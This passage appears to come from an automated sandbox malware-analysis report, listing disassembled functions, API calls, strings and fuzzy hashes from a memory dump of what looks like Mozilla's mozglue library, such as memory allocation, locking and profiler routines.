Opcode Fuzzy Hash: 4e8a3b5cb19cf7e614f3952dfc5ae5c5a95f01e225144e72b7a958fc3c99ceb8
Instruction Fuzzy Hash: 3711C8B2900315ABE710AFB69C44B6FBEF8EF46754F044429F848D7211E7748840C7E2

Function 6BF89B50 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

??KDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6BF89B74
?ceil@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6BF89BBA
?floor@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6BF89BC8
??DDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6BF89BD7
??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?,?,?), ref: 6BF89BE0

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Decimal@blink@@$V01@V01@@$V12@$?ceil@?floor@
String ID:
API String ID: 2380687156-0
Opcode ID: 165e78bf27ac1017500b0acecd8ced2f72a53b02fc628012a0a101cfd54b067d
Instruction ID: 659a6f6297233fdb4d5ec166d8cc19cb6ec2b065fe851ffd23af25ede8cfb84c
Opcode Fuzzy Hash: 165e78bf27ac1017500b0acecd8ced2f72a53b02fc628012a0a101cfd54b067d
Instruction Fuzzy Hash: 11118633914345A787009F788C4185FB7B8FFC5364F009A0DF99646161DF35D654C792

Function 6BF85850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6BF8586C
CloseHandle.KERNEL32 ref: 6BF85878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6BF85898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BF858C9
free.MOZGLUE(00000000), ref: 6BF858D3

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: ba584d24b20fab5f86722872553ec41aab1634ffce9fca7ff8e2e436e667efdd
Instruction ID: e674aa1b4552fe1f198a00176428891952d7eca1e507d8df73a66fec0f1286bf
Opcode Fuzzy Hash: ba584d24b20fab5f86722872553ec41aab1634ffce9fca7ff8e2e436e667efdd
Instruction Fuzzy Hash: 7B012872920201DFDF489F29E908B0A7BF8EB833257645076E51ADA230EB35D8188F91

Function 6BF60D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6BF23DEF), ref: 6BF60D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6BF23DEF), ref: 6BF60D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6BF23DEF), ref: 6BF60DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BF60D97, 6BF60DBE
<jemalloc>, xrefs: 6BF60D92, 6BF60DB9

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: a60be6b1e5f314f6e8ab401fc23e018453367e5ea791f6c26ade25734fcd0ff6
Instruction ID: fcff9bc0f3a7bda05eb73cca4c8db35ecb3d87e19ac309688b13ebae9200940f
Opcode Fuzzy Hash: a60be6b1e5f314f6e8ab401fc23e018453367e5ea791f6c26ade25734fcd0ff6
Instruction Fuzzy Hash: 49F05433390218A2E62812755C89F1A375E67C2BE1F344176FA14DE1E0FEE8EC044AA5

Function 6BF77620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6BF775C4,?), ref: 6BF7762B

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6BF774D7,6BF815FC,?,?,?), ref: 6BF77644
GetCurrentThreadId.KERNEL32 ref: 6BF7765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6BF774D7,6BF815FC,?,?,?), ref: 6BF77663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6BF774D7,6BF815FC,?,?,?), ref: 6BF77677

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ce446a9c2e0bd5af3a698d797791e53373480d48a1628b2ca4760625433574cb
Instruction ID: 578ea8a4397ce0fa4d5cbb7f12e2721285c726a502c9e68739ccbfca2092972d
Opcode Fuzzy Hash: ce446a9c2e0bd5af3a698d797791e53373480d48a1628b2ca4760625433574cb
Instruction Fuzzy Hash: B8F0AF72D2074AEBD7008F22C88877AB778FFEA259F11431AF90452612E7B1A5D08BD0

Function 6BF81700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6BF81800

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

Part of subcall function 6BF24290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BF63EBD,6BF63EBD,00000000), ref: 6BF242A9

Strings

name, xrefs: 6BF81939
{marker.name} - {marker.data.name}, xrefs: 6BF818C7
Details, xrefs: 6BF81925

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 556cf74579a08c6a67fa378d94f01acd048889a86c45e1b53f5e0586f7454cbb
Instruction ID: fd0a224249e1c05b1cc406d910c8a2a820e7997965085d29c3239ab7fe328139
Opcode Fuzzy Hash: 556cf74579a08c6a67fa378d94f01acd048889a86c45e1b53f5e0586f7454cbb
Instruction Fuzzy Hash: FD71F172A00306DFDB08DF38D49179ABBB1FF89300F104269D8159B751DB78A6A4CBE2

Function 6BF8B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6BF8B0A6,6BF8B0A6,?,6BF8AF67,?,00000010,?,6BF8AF67,?,00000010,00000000,?,?,6BF8AB1F), ref: 6BF8B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6BF8B0A6,6BF8B0A6,?,6BF8AF67,?,00000010,?,6BF8AF67,?,00000010,00000000,?), ref: 6BF8B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6BF8B0A6,6BF8B0A6,?,6BF8AF67,?,00000010,?,6BF8AF67,?,00000010), ref: 6BF8B25F

Strings

map/set<T> too long, xrefs: 6BF8B1FA

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 2fcf894472f5cb543191aa6d20af8b332e3586c7010882026ba8fcc365c3a0a1
Instruction ID: 48b30af4e3b6313cd9254b8e89ed9b55305d0f66776fe38d0cc85ab7d7f1593a
Opcode Fuzzy Hash: 2fcf894472f5cb543191aa6d20af8b332e3586c7010882026ba8fcc365c3a0a1
Instruction Fuzzy Hash: 32615B76A046458FD702CF19C884A5ABBF1FF4A314F18C9A9D8595F362C33AEC45CB91

Function 6BF4D468 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6BF5D1C5), ref: 6BF4D4F2
LeaveCriticalSection.KERNEL32(6BFAE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6BF5D1C5), ref: 6BF4D50B
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6BF5D1C5), ref: 6BF4D52E

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

EnterCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF4D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF4D6A6
LeaveCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF4D712

Strings

MOZ_CRASH(), xrefs: 6BF4D4BB

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$EnterLeaveProcess$CountCurrentInitializeK@1@Maybe@_RandomSpinTerminateUint64@mozilla@@
String ID: MOZ_CRASH()
API String ID: 4199788198-2608361144
Opcode ID: 0c0ee09ef9e7075ed5ee9cbd5ea3e1759f4f300d9aedc50ccae512279183b218
Instruction ID: dd7784835144bbf3e9817278d11267ae97bcd283d8db3e8c7ad93d79268cd89f
Opcode Fuzzy Hash: 0c0ee09ef9e7075ed5ee9cbd5ea3e1759f4f300d9aedc50ccae512279183b218
Instruction Fuzzy Hash: BF512777A047018FD318CF28C09071ABFE2EB89714F15892ED5AAC76A6E778EC44CB51

Function 6BF74630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BF74721

Strings

profiler-paused, xrefs: 6BF746E4
-%llu, xrefs: 6BF74733
., xrefs: 6BF7476A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 680860acbe7ae06b5dd1410b0d40bc61c3cfd403afcc02af5284dd21da6613e5
Instruction ID: 4c57acfd6679f416bf0f84dc3102ee496abdaee70194351d5579039c8e2279a2
Opcode Fuzzy Hash: 680860acbe7ae06b5dd1410b0d40bc61c3cfd403afcc02af5284dd21da6613e5
Instruction Fuzzy Hash: 3E417973E043089BCB08EF7CE85115EBBE5EF85744F1086BEE855AB361EB3498558741

Function 6BF99830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6BF9985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BF9987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6BF998DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6BF998D9

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 8b14e6322b2e4ec3b4b7879696e8f3ac1b6e6e813f950bc28e5c72b0dafeaefa
Instruction ID: efdf593437e84d22ff35ac797c7a44ddb4d7af94463e66acfc4cecaf30f44052
Opcode Fuzzy Hash: 8b14e6322b2e4ec3b4b7879696e8f3ac1b6e6e813f950bc28e5c72b0dafeaefa
Instruction Fuzzy Hash: 4B312973E00109AFDB14AF69DC455AF77A9DF44714F50802DEA0AEB351DB395910CBE1

Function 6BF746E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BF74721

Part of subcall function 6BF24410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6BF63EBD,00000017,?,00000000,?,6BF63EBD,?,?,6BF242D2), ref: 6BF24444

Strings

profiler-paused, xrefs: 6BF746E4
-%llu, xrefs: 6BF74733
., xrefs: 6BF7476A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 5515dcf1740ef9404f8e883eb427c864f7253d8fdaf74a9a4b622d15cfd0143f
Instruction ID: 767cd08019fc34a80c00352f42e648fa26d5619f2d5bd8d6c216f4cd24a03445
Opcode Fuzzy Hash: 5515dcf1740ef9404f8e883eb427c864f7253d8fdaf74a9a4b622d15cfd0143f
Instruction Fuzzy Hash: B5314873F042089BCB0CDF7CE89129EBBE6DB89314F15857EE8059B3A1EB7898058750

Function 6BF7B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF24290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BF63EBD,6BF63EBD,00000000), ref: 6BF242A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6BF7B127), ref: 6BF7B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF7B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6BF7B4E4

Strings

pid:, xrefs: 6BF7B4DE

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 08872dd04c6c77ffadf98f9ad656104cab6cb96b122e947b4951fec8920dcc43
Instruction ID: 1dc0c5161ae7df780e0cd56250dbb241e8206a337d0c09c9f965eb107f63558d
Opcode Fuzzy Hash: 08872dd04c6c77ffadf98f9ad656104cab6cb96b122e947b4951fec8920dcc43
Instruction Fuzzy Hash: 92312C33900219DFDB20EFA9E850A9EB775FF06314F6408BAD90167262D739E945CBE1

Function 6BF2F100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6BF9D020), ref: 6BF2F122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6BF2F132

Strings

shell32, xrefs: 6BF2F11D
SHGetKnownFolderPath, xrefs: 6BF2F12C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: e789dd347d83832b07b84071add27351a01ef806571d4b23bf2f8eaa7537fd8b
Instruction ID: 7c1ef10c0444482f2f8f60f08362232ca409ef9228149d771d81c652cd5a4d4c
Opcode Fuzzy Hash: e789dd347d83832b07b84071add27351a01ef806571d4b23bf2f8eaa7537fd8b
Instruction Fuzzy Hash: 18017172A10219DFDF548FB9DC58A5F7BF8FF4A650B400418E949E7210D734E904CBA0

Function 6BF6E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF6E577
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E584
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BF6E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6BF6E5A1, 6BF6E5CC, 6BF6E5FF, 6BF6E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BF6E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BF6E826, 6BF6E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BF6E722, 6BF6E750, 6BF6E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BF6E655

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 8523c8bcb2397f94a341b603375227653bae78c4e72cdca5f33c5b0f56281866
Instruction ID: 6af05a9aad96aa0c08f1fb1c4ecc0ffb2ecd7a1729f227529c38387102f371ef
Opcode Fuzzy Hash: 8523c8bcb2397f94a341b603375227653bae78c4e72cdca5f33c5b0f56281866
Instruction Fuzzy Hash: 52118432924258DFCB049F28C888B5DBBB8FB89368F410519EC459B271D778E809CFA1

Function 6BF5CBE8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BF5D001
<jemalloc>, xrefs: 6BF5CFFC

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2429186680-2186867486
Opcode ID: 564b5d6ceae20113ed49096e3f3d9606a13045e76b3fed93e63ddb09f5d214ae
Instruction ID: 2f811c54563ece1019f7cb753c2c42ea4cd957295597b23d217f543c69233ace
Opcode Fuzzy Hash: 564b5d6ceae20113ed49096e3f3d9606a13045e76b3fed93e63ddb09f5d214ae
Instruction Fuzzy Hash: C8B0927042430CDBDB182BA4A80DB0D3B6CBB09A01F040C28A30182262CBBAE1048E61

Function 6BF32272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BF3237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6BF32B9C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 5fa6a27ceab54078a23ed2bdc645572f57a73ed5dbaeac518549964723745e94
Instruction ID: f87668766b32c6b2f5e5c6461fc1b64606199fe93f78357afd27067bd971fb29
Opcode Fuzzy Hash: 5fa6a27ceab54078a23ed2bdc645572f57a73ed5dbaeac518549964723745e94
Instruction Fuzzy Hash: 85E16072A002159FDB08CF68C8D0A5EBBB2BF88314F1981ADD9055B355D776ED85CBD0

Function 6BF70C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BF70CD5

Part of subcall function 6BF5F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BF5F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BF70D40
free.MOZGLUE ref: 6BF70DCB

Part of subcall function 6BF45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF45EDB
Part of subcall function 6BF45E90: memset.VCRUNTIME140(6BF87765,000000E5,55CCCCCC), ref: 6BF45F27
Part of subcall function 6BF45E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF45FB2

free.MOZGLUE ref: 6BF70DDD
free.MOZGLUE ref: 6BF70DF2

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: d48f9570a9c416da4ff0fc8c9f22a43809f577f5c629299e57675d70ebfefb22
Instruction ID: 0e735d359dfc853de591644a858af00fb4faba9a91bf7c684b277705fe2f64c5
Opcode Fuzzy Hash: d48f9570a9c416da4ff0fc8c9f22a43809f577f5c629299e57675d70ebfefb22
